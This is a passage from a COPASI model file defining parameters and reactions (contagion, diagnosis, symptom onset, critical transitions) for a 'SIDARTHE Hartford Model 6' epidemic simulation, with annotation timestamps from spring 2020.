6,Vector=Values[r4],Reference=Value>)
</Expression>
</ModelValue>
<ModelValue key="ModelValue_86" name="gamma_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_86">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T17:59:52Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_87" name="Population" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_87">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:00:37Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Unit>
#
</Unit>
</ModelValue>
<ModelValue key="ModelValue_88" name="alpha_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_88">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:07:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_89" name="beta_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_89">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:07:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_90" name="delta_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_90">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:08:08Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_91" name="scale" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_91">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T22:54:38Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_92" name="f_epsilon" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_92">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:10:51Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_93" name="f_theta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_93">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:12:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_94" name="f_mu" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_94">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:24:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_95" name="f_nu" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_95">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:24:46Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_96" name="day8x" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_96">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-31T01:43:46Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_97" name="day15x" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_97">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-31T01:44:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_98" name="f_lambda" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_98">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:08:38Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_99" name="f_kappa" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_99">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:08:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
0.5*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_100" name="f_sigma" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_100">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:09:00Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_101" name="f_xi" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_101">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:09:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_102" name="f_rho" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_102">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:09:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_103" name="Tpeak" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_103">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:20:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_104" name="Tpeaktime" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_104">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:23:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_105" name="New cases" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_105">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T13:50:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],Reference=Flux>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_106" name="New diagnosed" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_106">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T13:52:23Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],Reference=Flux>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_107" name="Tnonew" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_107">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T13:53:38Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_108" name="Tot_reduction" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_108">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-04T13:47:50Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=InitialValue>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_109" name="ImmuneRatio" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_109">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-13T19:01:23Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration>/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration>)
</Expression>
</ModelValue>
<ModelValue key="ModelValue_110" name="ApplyRelaxationMay1" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_110">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-14T18:52:46Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_111" name="mu_UCH" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_111">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_112" name="Total_Hospitalized" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_112">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_113" name="ZeroDay" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_113">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
</ListOfModelValues>
<ListOfReactions>
<Reaction key="Reaction_20" name="contagion_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_20">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:39:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_10" stoichiometry="1"/>
<Substrate metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="2"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5021" name="k1" value="1.0067e-06"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_88"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_10"/>
<SourceParameter reference="Metabolite_9"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_21" name="contagion_D" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_21">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:20Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_10" stoichiometry="1"/>
<Substrate metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
<Product metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5019" name="k1" value="2.01339e-08"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_89"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_10"/>
<SourceParameter reference="Metabolite_11"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_22" name="contagion_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_22">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:54Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_10" stoichiometry="1"/>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
<Product metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5018" name="k1" value="5.03348e-07"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_86"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_10"/>
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_23" name="contagion_R" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_23">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:41:27Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_10" stoichiometry="1"/>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
<Product metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5022" name="k1" value="3.02009e-08"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_90"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_10"/>
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_24" name="diagnosis_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_24">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:43:45Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5020" name="k1" value="0"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_61"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_9"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_25" name="symptoms_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_25">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:44:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5023" name="k1" value="0.6"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_62"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_9"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_26" name="symptoms_D" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_26">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:44:41Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5024" name="k1" value="0.6"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_63"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_11"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_27" name="diagnosis_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_27">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5028" name="k1" value="0.00299207"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_64"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_28" name="critical_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_28">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:28Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_5030" name="k1" value="0.07"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_67"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_29" name="critical_R" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_29">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:40Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
